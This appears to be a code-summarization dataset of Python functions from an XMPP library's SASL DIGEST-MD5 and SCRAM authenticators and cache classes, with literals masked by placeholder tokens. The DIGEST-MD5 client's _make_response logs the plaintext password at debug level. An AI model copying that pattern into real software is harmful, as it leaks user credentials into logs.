{"signature": "def __init__(self, hash_name, channel_binding, password_database):", "body": "ServerAuthenticator.__init__(self, password_database)<EOL>SCRAMOperations.__init__(self, hash_name)<EOL>self.name = \"<STR_LIT>\".format(hash_name)<EOL>if channel_binding:<EOL><INDENT>self.name += \"<STR_LIT>\"<EOL><DEDENT>self.channel_binding = channel_binding<EOL>self.properties = None<EOL>self.out_properties = None<EOL>self._client_first_message_bare = None<EOL>self._stored_key = None<EOL>self._server_key = None<EOL>", "docstring": "Initialize a `SCRAMClientAuthenticator` object.\n\n        :Parameters:\n            - `hash_function_name`: hash function name, e.g. ``\"SHA-1\"``\n            - `channel_binding`: `True` to enable channel binding\n        :Types:\n            - `hash_function_name`: `unicode`\n            - `channel_binding`: `bool`", "id": "f15238:c2:m0"}
{"signature": "def _unquote(data):", "body": "if not data.startswith(b'<STR_LIT:\">') or not data.endswith(b'<STR_LIT:\">'):<EOL><INDENT>return data<EOL><DEDENT>return QUOTE_RE.sub(b\"<STR_LIT>\", data[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL>", "docstring": "Unquote quoted value from DIGEST-MD5 challenge or response.\n\n    If `data` doesn't start or doesn't end with '\"' then return it unchanged,\n    remove the quotes and escape backslashes otherwise.\n\n    :Parameters:\n        - `data`: a quoted string.\n    :Types:\n        - `data`: `bytes`\n\n    :return: the unquoted string.\n    :returntype: `bytes`", "id": "f15240:m0"}
{"signature": "def _quote(data):", "body": "data = data.replace(b'<STR_LIT:\\\\>', b'<STR_LIT>')<EOL>data = data.replace(b'<STR_LIT:\">', b'<STR_LIT>')<EOL>return data<EOL>", "docstring": "Prepare a string for quoting for DIGEST-MD5 challenge or response.\n\n    Don't add the quotes, only escape '\"' and \"\\\\\" with backslashes.\n\n    :Parameters:\n        - `data`: a raw string.\n    :Types:\n        - `data`: `bytes`\n\n    :return: `data` with '\"' and \"\\\\\" escaped using \"\\\\\".\n    :returntype: `bytes`", "id": "f15240:m1"}
{"signature": "def _h_value(data):", "body": "<EOL>return hashlib.md5(data).digest()<EOL>", "docstring": "H function of the DIGEST-MD5 algorithm (MD5 sum).\n\n    :Parameters:\n        - `data`: a byte string.\n    :Types:\n        - `data`: `bytes`\n\n    :return: MD5 sum of the string.\n    :returntype: `bytes`", "id": "f15240:m2"}
{"signature": "def _kd_value(k_val, s_val):", "body": "return _h_value(b\"<STR_LIT::>\".join((k_val, s_val)))<EOL>", "docstring": "KD function of the DIGEST-MD5 algorithm.\n\n    :Parameters:\n        - `k_val`: a byte string.\n        - `s_val`: a byte string.\n    :Types:\n        - `k_val`: `bytes`\n        - `s_val`: `bytes`\n\n    :return: MD5 sum of the strings joined with ':'.\n    :returntype: `bytes`", "id": "f15240:m3"}
{"signature": "def _make_urp_hash(username, realm, passwd):", "body": "if realm is None:<EOL><INDENT>realm = b\"<STR_LIT>\"<EOL><DEDENT>return _h_value(b\"<STR_LIT::>\".join((username, realm, passwd)))<EOL>", "docstring": "Compute MD5 sum of username:realm:password.\n\n    :Parameters:\n        - `username`: a username.\n        - `realm`: a realm.\n        - `passwd`: a password.\n    :Types:\n        - `username`: `bytes`\n        - `realm`: `bytes`\n        - `passwd`: `bytes`\n\n    :return: the MD5 sum of the parameters joined with ':'.\n    :returntype: `bytes`", "id": "f15240:m4"}
{"signature": "def _compute_response(urp_hash, nonce, cnonce, nonce_count, authzid,<EOL>digest_uri):", "body": "<EOL>logger.debug(\"<STR_LIT>\".format((urp_hash, nonce, cnonce,<EOL>nonce_count, authzid,digest_uri)))<EOL>if authzid:<EOL><INDENT>a1 = b\"<STR_LIT::>\".join((urp_hash, nonce, cnonce, authzid))<EOL><DEDENT>else:<EOL><INDENT>a1 = b\"<STR_LIT::>\".join((urp_hash, nonce, cnonce))<EOL><DEDENT>a2 = b\"<STR_LIT>\" + digest_uri<EOL>return b2a_hex(_kd_value(b2a_hex(_h_value(a1)), b\"<STR_LIT::>\".join((<EOL>nonce, nonce_count, cnonce, b\"<STR_LIT>\", b2a_hex(_h_value(a2))))))<EOL>", "docstring": "Compute DIGEST-MD5 response value.\n\n    :Parameters:\n        - `urp_hash`: MD5 sum of username:realm:password.\n        - `nonce`: nonce value from a server challenge.\n        - `cnonce`: cnonce value from the client response.\n        - `nonce_count`: nonce count value.\n        - `authzid`: authorization id.\n        - `digest_uri`: digest-uri value.\n    :Types:\n        - `urp_hash`: `bytes`\n        - `nonce`: `bytes`\n        - `nonce_count`: `int`\n        - `authzid`: `bytes`\n        - `digest_uri`: `bytes`\n\n    :return: the computed response value.\n    :returntype: `bytes`", "id": "f15240:m5"}
{"signature": "def _compute_response_auth(urp_hash, nonce, cnonce, nonce_count, authzid,<EOL>digest_uri):", "body": "<EOL>logger.debug(\"<STR_LIT>\".format((urp_hash, nonce, cnonce,<EOL>nonce_count, authzid, digest_uri)))<EOL>if authzid:<EOL><INDENT>a1 = b\"<STR_LIT::>\".join((urp_hash, nonce, cnonce, authzid))<EOL><DEDENT>else:<EOL><INDENT>a1 = b\"<STR_LIT::>\".join((urp_hash, nonce, cnonce))<EOL><DEDENT>a2 = b\"<STR_LIT::>\" + digest_uri<EOL>return b2a_hex(_kd_value(b2a_hex(_h_value(a1)), b\"<STR_LIT::>\".join((<EOL>nonce, nonce_count, cnonce, b\"<STR_LIT>\", b2a_hex(_h_value(a2))))))<EOL>", "docstring": "Compute DIGEST-MD5 rspauth value.\n\n    :Parameters:\n        - `urp_hash`: MD5 sum of username:realm:password.\n        - `nonce`: nonce value from a server challenge.\n        - `cnonce`: cnonce value from the client response.\n        - `nonce_count`: nonce count value.\n        - `authzid`: authorization id.\n        - `digest_uri`: digest-uri value.\n    :Types:\n        - `urp_hash`: `bytes`\n        - `nonce`: `bytes`\n        - `nonce_count`: `int`\n        - `authzid`: `bytes`\n        - `digest_uri`: `bytes`\n\n    :return: the computed rspauth value.\n    :returntype: `bytes`", "id": "f15240:m6"}
{"signature": "def __init__(self):", "body": "ClientAuthenticator.__init__(self)<EOL>self.username = None<EOL>self.rspauth_checked = None<EOL>self.response_auth = None<EOL>self.authzid = None<EOL>self.realm = None<EOL>self.nonce_count = None<EOL>self.in_properties = None<EOL>", "docstring": "Initialize a `DigestMD5ClientAuthenticator` object.", "id": "f15240:c0:m0"}
{"signature": "def challenge(self, challenge):", "body": "<EOL>if not challenge:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>challenge = challenge.split(b'<STR_LIT:\\x00>')[<NUM_LIT:0>]<EOL>if self.response_auth:<EOL><INDENT>return self._final_challenge(challenge)<EOL><DEDENT>realms = []<EOL>nonce = None<EOL>charset = \"<STR_LIT>\"<EOL>while challenge:<EOL><INDENT>match = PARAM_RE.match(challenge)<EOL>if not match:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(challenge))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>challenge = match.group(\"<STR_LIT>\")<EOL>var = match.group(\"<STR_LIT>\")<EOL>val = match.group(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT>\".format(var, val))<EOL>if var == b\"<STR_LIT>\":<EOL><INDENT>realms.append(_unquote(val))<EOL><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>if nonce:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>nonce = _unquote(val)<EOL><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>qopl = _unquote(val).split(b\"<STR_LIT:U+002C>\")<EOL>if b\"<STR_LIT>\" not in qopl:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>if val != b\"<STR_LIT:utf-8>\":<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>charset = \"<STR_LIT:utf-8>\"<EOL><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>if val != b\"<STR_LIT>\":<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>if not nonce:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>return self._make_response(charset, realms, nonce)<EOL>", "docstring": "Process a challenge and return the response.\n\n        :Parameters:\n            - `challenge`: the challenge from server.\n        :Types:\n            - `challenge`: `bytes`\n\n        :return: the response or a failure indicator.\n        :returntype: `sasl.Response` or `sasl.Failure`", "id": "f15240:c0:m3"}
{"signature": "def _make_response(self, charset, realms, nonce):", "body": "<EOL>params = []<EOL>realm = self._get_realm(realms, charset)<EOL>if isinstance(realm, Failure):<EOL><INDENT>return realm<EOL><DEDENT>elif realm:<EOL><INDENT>realm = _quote(realm)<EOL>params.append(b'<STR_LIT>' + realm + b'<STR_LIT:\">')<EOL><DEDENT>try:<EOL><INDENT>username = self.username.encode(charset)<EOL><DEDENT>except UnicodeError:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(charset))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>username = _quote(username)<EOL>params.append(b'<STR_LIT>' + username + b'<STR_LIT:\">')<EOL>cnonce = self.in_properties.get(<EOL>\"<STR_LIT>\", default_nonce_factory)()<EOL>cnonce = _quote(cnonce)<EOL>params.append(b'<STR_LIT>' + cnonce + b'<STR_LIT:\">')<EOL>params.append(b'<STR_LIT>' + nonce + b'<STR_LIT:\">')<EOL>self.nonce_count += <NUM_LIT:1><EOL>nonce_count = \"<STR_LIT>\".format(self.nonce_count).encode(\"<STR_LIT>\")<EOL>params.append(b'<STR_LIT>' + nonce_count)<EOL>params.append(b'<STR_LIT>')<EOL>serv_type = self.in_properties[\"<STR_LIT>\"]<EOL>serv_type = serv_type.encode(\"<STR_LIT>\")<EOL>serv_name = self.in_properties[\"<STR_LIT>\"]<EOL>host = self.in_properties.get(\"<STR_LIT>\", serv_name)<EOL>serv_name = serv_name.encode(\"<STR_LIT>\")<EOL>host = host.encode(\"<STR_LIT>\")<EOL>if serv_name and serv_name != host:<EOL><INDENT>digest_uri = b\"<STR_LIT:/>\".join((serv_type, host, serv_name))<EOL><DEDENT>else:<EOL><INDENT>digest_uri = b\"<STR_LIT:/>\".join((serv_type, host))<EOL><DEDENT>digest_uri = _quote(digest_uri)<EOL>params.append(b'<STR_LIT>' + digest_uri + b'<STR_LIT:\">')<EOL>if self.authzid:<EOL><INDENT>try:<EOL><INDENT>authzid = self.authzid.encode(charset)<EOL><DEDENT>except UnicodeError:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(charset))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>authzid = _quote(authzid)<EOL><DEDENT>else:<EOL><INDENT>authzid = b\"<STR_LIT>\"<EOL><DEDENT>try:<EOL><INDENT>epasswd = self.in_properties[\"<STR_LIT:password>\"].encode(charset)<EOL><DEDENT>except UnicodeError:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(charset))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(epasswd))<EOL>urp_hash = _make_urp_hash(username, realm, epasswd)<EOL>response = _compute_response(urp_hash, nonce, cnonce, nonce_count,<EOL>authzid, digest_uri)<EOL>self.response_auth = _compute_response_auth(urp_hash, nonce, cnonce,<EOL>nonce_count, authzid, digest_uri)<EOL>params.append(b'<STR_LIT>' + response)<EOL>if authzid:<EOL><INDENT>params.append(b'<STR_LIT>' + authzid + b'<STR_LIT:\">')<EOL><DEDENT>return Response(b\"<STR_LIT:U+002C>\".join(params))<EOL>", "docstring": "Make a response for the first challenge from the server.\n\n        :Parameters:\n            - `charset`: charset name from the challenge.\n            - `realms`: realms list from the challenge.\n            - `nonce`: nonce value from the challenge.\n        :Types:\n            - `charset`: `bytes`\n            - `realms`: `bytes`\n            - `nonce`: `bytes`\n\n        :return: the response or a failure indicator.\n        :returntype: `sasl.Response` or `sasl.Failure`", "id": "f15240:c0:m4"}
{"signature": "def _get_realm(self, realms, charset):", "body": "if realms:<EOL><INDENT>realm = realms[<NUM_LIT:0>]<EOL>ap_realms = self.in_properties.get(\"<STR_LIT>\")<EOL>if ap_realms is not None:<EOL><INDENT>realms = (unicode(r, charset) for r in realms)<EOL>for ap_realm in ap_realms:<EOL><INDENT>if ap_realm in realms:<EOL><INDENT>realm = ap_realm<EOL>break<EOL><DEDENT><DEDENT><DEDENT>realm = realm.decode(charset)<EOL><DEDENT>else:<EOL><INDENT>realm = self.in_properties.get(\"<STR_LIT>\")<EOL><DEDENT>if realm is not None:<EOL><INDENT>self.realm = realm<EOL>try:<EOL><INDENT>realm = realm.encode(charset)<EOL><DEDENT>except UnicodeError:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(charset))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return realm<EOL>", "docstring": "Choose a realm from the list specified by the server.\n\n        :Parameters:\n            - `realms`: the realm list.\n            - `charset`: encoding of realms on the list.\n        :Types:\n            - `realms`: `list` of `bytes`\n            - `charset`: `bytes`\n\n        :return: the realm chosen or a failure indicator.\n        :returntype: `bytes` or `Failure`", "id": "f15240:c0:m5"}
{"signature": "def _final_challenge(self, challenge):", "body": "if self.rspauth_checked:<EOL><INDENT>return Failure(\"<STR_LIT>\")<EOL><DEDENT>challenge = challenge.split(b'<STR_LIT:\\x00>')[<NUM_LIT:0>]<EOL>rspauth = None<EOL>while challenge:<EOL><INDENT>match = PARAM_RE.match(challenge)<EOL>if not match:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(challenge))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>challenge = match.group(\"<STR_LIT>\")<EOL>var = match.group(\"<STR_LIT>\")<EOL>val = match.group(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT>\".format(var, val))<EOL>if var == b\"<STR_LIT>\":<EOL><INDENT>rspauth = val<EOL><DEDENT><DEDENT>if not rspauth:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if rspauth == self.response_auth:<EOL><INDENT>self.rspauth_checked = True<EOL>return Response(None)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT>\".format(self.response_auth))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Process the second challenge from the server and return the response.\n\n        :Parameters:\n            - `challenge`: the challenge from server.\n        :Types:\n            - `challenge`: `bytes`\n\n        :return: the response or a failure indicator.\n        :returntype: `sasl.Response` or `sasl.Failure`", "id": "f15240:c0:m6"}
{"signature": "def finish(self, data):", "body": "if not self.response_auth:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if self.rspauth_checked:<EOL><INDENT>properties = {<EOL>\"<STR_LIT:username>\": self.username,<EOL>\"<STR_LIT>\": self.realm,<EOL>\"<STR_LIT>\": self.authzid<EOL>}<EOL>return Success(properties)<EOL><DEDENT>else:<EOL><INDENT>ret = self._final_challenge(data)<EOL>if isinstance(ret, Failure):<EOL><INDENT>return ret<EOL><DEDENT>if self.rspauth_checked:<EOL><INDENT>properties = {<EOL>\"<STR_LIT:username>\": self.username,<EOL>\"<STR_LIT>\": self.realm,<EOL>\"<STR_LIT>\": self.authzid<EOL>}<EOL>return Success(properties)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Process success indicator from the server.\n\n        Process any addiitional data passed with the success.\n        Fail if the server was not authenticated.\n\n        :Parameters:\n            - `data`: an optional additional data with success.\n        :Types:\n            - `data`: `bytes`\n\n        :return: success or failure indicator.\n        :returntype: `sasl.Success` or `sasl.Failure`", "id": "f15240:c0:m7"}
{"signature": "def __init__(self, password_database):", "body": "ServerAuthenticator.__init__(self, password_database)<EOL>self.nonce = None<EOL>self.last_nonce_count = None<EOL>self.in_properties = None<EOL>self.out_properties = None<EOL>self.realm = None<EOL>", "docstring": "Initialize a `DigestMD5ServerAuthenticator` object.", "id": "f15240:c1:m0"}
{"signature": "def response(self, response):", "body": "if self.out_properties:<EOL><INDENT>return Success(self.out_properties)<EOL><DEDENT>if not response:<EOL><INDENT>return Failure(\"<STR_LIT>\")<EOL><DEDENT>return self._parse_response(response)<EOL>", "docstring": "Process a client reponse.\n\n        :Parameters:\n            - `response`: the response from the client.\n        :Types:\n            - `response`: `bytes`\n\n        :return: a challenge, a success indicator or a failure indicator.\n        :returntype: `sasl.Challenge`, `sasl.Success` or `sasl.Failure`", "id": "f15240:c1:m2"}
{"signature": "def _parse_response(self, response):", "body": "<EOL>response = response.split(b'<STR_LIT:\\x00>')[<NUM_LIT:0>]<EOL>if self.realm:<EOL><INDENT>realm = self.realm.encode(\"<STR_LIT:utf-8>\")<EOL>realm = _quote(realm)<EOL><DEDENT>else:<EOL><INDENT>realm = None<EOL><DEDENT>username = None<EOL>cnonce = None<EOL>digest_uri = None<EOL>response_val = None<EOL>authzid = None<EOL>nonce_count = None<EOL>while response:<EOL><INDENT>match = PARAM_RE.match(response)<EOL>if not match:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(response))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>response = match.group(\"<STR_LIT>\")<EOL>var = match.group(\"<STR_LIT>\")<EOL>val = match.group(\"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT>\".format(var, val))<EOL>if var == b\"<STR_LIT>\":<EOL><INDENT>realm = val[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>if cnonce:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>cnonce = val[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>if val != b'<STR_LIT>':<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>digest_uri = val[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>authzid = val[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>elif var == b\"<STR_LIT:username>\":<EOL><INDENT>username = val[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>response_val = val<EOL><DEDENT>elif var == b\"<STR_LIT>\":<EOL><INDENT>nonce_count = val<EOL>self.last_nonce_count += <NUM_LIT:1><EOL>if int(nonce_count) != self.last_nonce_count:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(nonce_count, self.last_nonce_count))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>return self._check_params(username, realm, cnonce, digest_uri,<EOL>response_val, authzid, nonce_count)<EOL>", "docstring": "Parse a client reponse and pass to further processing.\n\n        :Parameters:\n            - `response`: the response from the client.\n        :Types:\n            - `response`: `bytes`\n\n        :return: a challenge, a success indicator or a failure indicator.\n        :returntype: `sasl.Challenge`, `sasl.Success` or `sasl.Failure`", "id": "f15240:c1:m3"}
{"signature": "def _check_params(self, username, realm, cnonce, digest_uri, response_val,<EOL>authzid, nonce_count):", "body": "<EOL>if not cnonce:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if not response_val:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if not username:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if not digest_uri:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if not nonce_count:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>return self._make_final_challenge(username, realm, cnonce, digest_uri,<EOL>response_val, authzid, nonce_count)<EOL>", "docstring": "Check parameters of a client reponse and pass them to further\n        processing.\n\n        :Parameters:\n            - `username`: user name.\n            - `realm`: realm.\n            - `cnonce`: cnonce value.\n            - `digest_uri`: digest-uri value.\n            - `response_val`: response value computed by the client.\n            - `authzid`: authorization id.\n            - `nonce_count`: nonce count value.\n        :Types:\n            - `username`: `bytes`\n            - `realm`: `bytes`\n            - `cnonce`: `bytes`\n            - `digest_uri`: `bytes`\n            - `response_val`: `bytes`\n            - `authzid`: `bytes`\n            - `nonce_count`: `bytes`\n\n        :return: a challenge, a success indicator or a failure indicator.\n        :returntype: `sasl.Challenge`, `sasl.Success` or `sasl.Failure`", "id": "f15240:c1:m4"}
{"signature": "def _make_final_challenge(self, username, realm, cnonce, digest_uri,<EOL>response_val, authzid, nonce_count):", "body": "<EOL>username_uq = username.replace(b'<STR_LIT:\\\\>', b'<STR_LIT>')<EOL>if authzid:<EOL><INDENT>authzid_uq = authzid.replace(b'<STR_LIT:\\\\>', b'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>authzid_uq = None<EOL><DEDENT>if realm:<EOL><INDENT>realm_uq = realm.replace(b'<STR_LIT:\\\\>', b'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>realm_uq = None<EOL><DEDENT>digest_uri_uq = digest_uri.replace(b'<STR_LIT:\\\\>', b'<STR_LIT>')<EOL>props = dict(self.in_properties)<EOL>props[\"<STR_LIT>\"] = realm_uq.decode(\"<STR_LIT:utf-8>\")<EOL>password, pformat = self.password_database.get_password(<EOL>username_uq.decode(\"<STR_LIT:utf-8>\"),<EOL>(u\"<STR_LIT>\", u\"<STR_LIT>\"), props)<EOL>if pformat == u\"<STR_LIT>\":<EOL><INDENT>urp_hash = password.a2b_hex()<EOL><DEDENT>elif pformat == u\"<STR_LIT>\":<EOL><INDENT>urp_hash = _make_urp_hash(username, realm, password.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>else:<EOL><INDENT>logger.debug(u\"<STR_LIT>\")<EOL>return Failure(u\"<STR_LIT>\")<EOL><DEDENT>valid_response = _compute_response(urp_hash, self.nonce, cnonce,<EOL>nonce_count, authzid, digest_uri)<EOL>if response_val != valid_response:<EOL><INDENT>logger.debug(u\"<STR_LIT>\".format(<EOL>response_val, valid_response))<EOL>return Failure(u\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>fields = digest_uri_uq.split(b\"<STR_LIT:/>\")<EOL>if len(fields) == <NUM_LIT:3>:<EOL><INDENT>serv_type, host, serv_name = [f.decode(\"<STR_LIT:utf-8>\") for f in fields]<EOL><DEDENT>elif len(fields) == <NUM_LIT:2>:<EOL><INDENT>serv_type, host = [f.decode(\"<STR_LIT:utf-8>\") for f in fields]<EOL>serv_name = None<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>except (ValueError, UnicodeError):<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(digest_uri_uq))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in self.in_properties:<EOL><INDENT>if serv_type != self.in_properties[\"<STR_LIT>\"]:<EOL><INDENT>logger.debug(u\"<STR_LIT>\"<EOL>.format(serv_type, self.in_properties[\"<STR_LIT>\"]))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in self.in_properties:<EOL><INDENT>if serv_name:<EOL><INDENT>if serv_name != self.in_properties[\"<STR_LIT>\"]:<EOL><INDENT>logger.debug(u\"<STR_LIT>\".format(serv_name,<EOL>self.in_properties[\"<STR_LIT>\"]))<EOL><DEDENT>return Failure(\"<STR_LIT>\")<EOL><DEDENT>elif (host != self.in_properties[\"<STR_LIT>\"]<EOL>and host != self.in_properties.get(\"<STR_LIT>\")):<EOL><INDENT>logger.debug(u\"<STR_LIT>\"<EOL>u\"<STR_LIT>\".format(host,<EOL>self.in_properties[\"<STR_LIT>\"],<EOL>self.in_properties.get(\"<STR_LIT>\")))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in self.in_properties:<EOL><INDENT>if host != self.in_properties[\"<STR_LIT>\"]:<EOL><INDENT>logger.debug(u\"<STR_LIT>\".format(host,<EOL>self.in_properties[\"<STR_LIT>\"]))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>rspauth = _compute_response_auth(urp_hash, self.nonce, cnonce,<EOL>nonce_count, authzid, digest_uri)<EOL>if authzid_uq is not None:<EOL><INDENT>authzid_uq =  authzid_uq.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>self.out_properties = {<EOL>\"<STR_LIT:username>\": username.decode(\"<STR_LIT:utf-8>\"),<EOL>\"<STR_LIT>\": realm.decode(\"<STR_LIT:utf-8>\"),<EOL>\"<STR_LIT>\": authzid_uq,<EOL>\"<STR_LIT>\": serv_type,<EOL>\"<STR_LIT>\": serv_name if serv_name else host,<EOL>\"<STR_LIT>\": host<EOL>}<EOL>return Success(self.out_properties, b\"<STR_LIT>\" + rspauth)<EOL>", "docstring": "Send the second challenge in reply to the client response.\n\n        :Parameters:\n            - `username`: user name.\n            - `realm`: realm.\n            - `cnonce`: cnonce value.\n            - `digest_uri`: digest-uri value.\n            - `response_val`: response value computed by the client.\n            - `authzid`: authorization id.\n            - `nonce_count`: nonce count value.\n        :Types:\n            - `username`: `bytes`\n            - `realm`: `bytes`\n            - `cnonce`: `bytes`\n            - `digest_uri`: `bytes`\n            - `response_val`: `bytes`\n            - `authzid`: `bytes`\n            - `nonce_count`: `bytes`\n\n        :return: a challenge, a success indicator or a failure indicator.\n        :returntype: `sasl.Success` or `sasl.Failure`", "id": "f15240:c1:m5"}
{"signature": "def __init__(self, address, value, freshness_period, expiration_period,<EOL>purge_period, state = \"<STR_LIT>\"):", "body": "if freshness_period>expiration_period:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if expiration_period>purge_period:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.address = address<EOL>self.value = value<EOL>now = datetime.utcnow()<EOL>self.timestamp = now<EOL>self.freshness_time = now+freshness_period<EOL>self.expire_time = now+expiration_period<EOL>if purge_period:<EOL><INDENT>self.purge_time = now+purge_period<EOL><DEDENT>else:<EOL><INDENT>self.purge_time = datetime.max<EOL><DEDENT>self.state = state<EOL>self.state_value = _state_values[state]<EOL>self._lock = threading.RLock()<EOL>", "docstring": "Initialize an CacheItem object.\n\n        :Parameters:\n            - `address`: item address.\n            - `value`: item value (cached object).\n            - `freshness_period`: time interval after which the object stops being fresh.\n            - `expiration_period`: time interval after which the object expires.\n            - `purge_period`: time interval after which the object should be purged. When 0 then\n              item will never be automaticaly purged.\n            - `state`: initial state.\n        :Types:\n            - `address`: any hashable\n            - `value`: `instance`\n            - `freshness_period`: `timedelta`\n            - `expiration_period`: `timedelta`\n            - `purge_period`: `timedelta`\n            - `state`: `str`", "id": "f15241:c0:m0"}
{"signature": "def update_state(self):", "body": "self._lock.acquire()<EOL>try:<EOL><INDENT>now = datetime.utcnow()<EOL>if self.state == '<STR_LIT>':<EOL><INDENT>self.state = '<STR_LIT>'<EOL><DEDENT>if self.state == '<STR_LIT>':<EOL><INDENT>if now > self.freshness_time:<EOL><INDENT>self.state = '<STR_LIT>'<EOL><DEDENT><DEDENT>if self.state == '<STR_LIT>':<EOL><INDENT>if now > self.expire_time:<EOL><INDENT>self.state = '<STR_LIT>'<EOL><DEDENT><DEDENT>if self.state == '<STR_LIT>':<EOL><INDENT>if now > self.purge_time:<EOL><INDENT>self.state = '<STR_LIT>'<EOL><DEDENT><DEDENT>self.state_value = _state_values[self.state]<EOL>return self.state<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT>", "docstring": "Update current status of the item and compute time of the next\n        state change.\n\n        :return: the new state.\n        :returntype: :std:`datetime`", "id": "f15241:c0:m1"}
{"signature": "def __init__(self, cache, address,<EOL>item_freshness_period, item_expiration_period, item_purge_period,<EOL>object_handler, error_handler, timeout_handler, timeout_period,<EOL>backup_state = None):", "body": "self.cache = cache<EOL>self.address = address<EOL>self._item_freshness_period = item_freshness_period<EOL>self._item_expiration_period = item_expiration_period<EOL>self._item_purge_period = item_purge_period<EOL>self._object_handler = object_handler<EOL>self._error_handler = error_handler<EOL>self._timeout_handler = timeout_handler<EOL>if timeout_period:<EOL><INDENT>self.timeout_time = datetime.utcnow()+timeout_period<EOL><DEDENT>else:<EOL><INDENT>self.timeout_time = datetime.max<EOL><DEDENT>self._backup_state = backup_state<EOL>self.active = True<EOL>", "docstring": "Initialize an `CacheFetcher` object.\n\n        :Parameters:\n            - `cache`: cache object which created this fetcher.\n            - `address`: requested item address.\n            - `item_freshness_period`: freshness period for the requested item.\n            - `item_expiration_period`: expiration period for the requested item.\n            - `item_purge_period`: purge period for the requested item.\n            - `object_handler`: function to be called after the item is fetched.\n            - `error_handler`: function to be called on error.\n            - `timeout_handler`: function to be called on timeout\n            - `timeout_period`: timeout interval.\n            - `backup_state`: when not `None` and the fetch fails than an\n              object from cache of at least this state will be passed to the\n              `object_handler`. If such object is not available, then\n              `error_handler` is called.\n        :Types:\n            - `cache`: 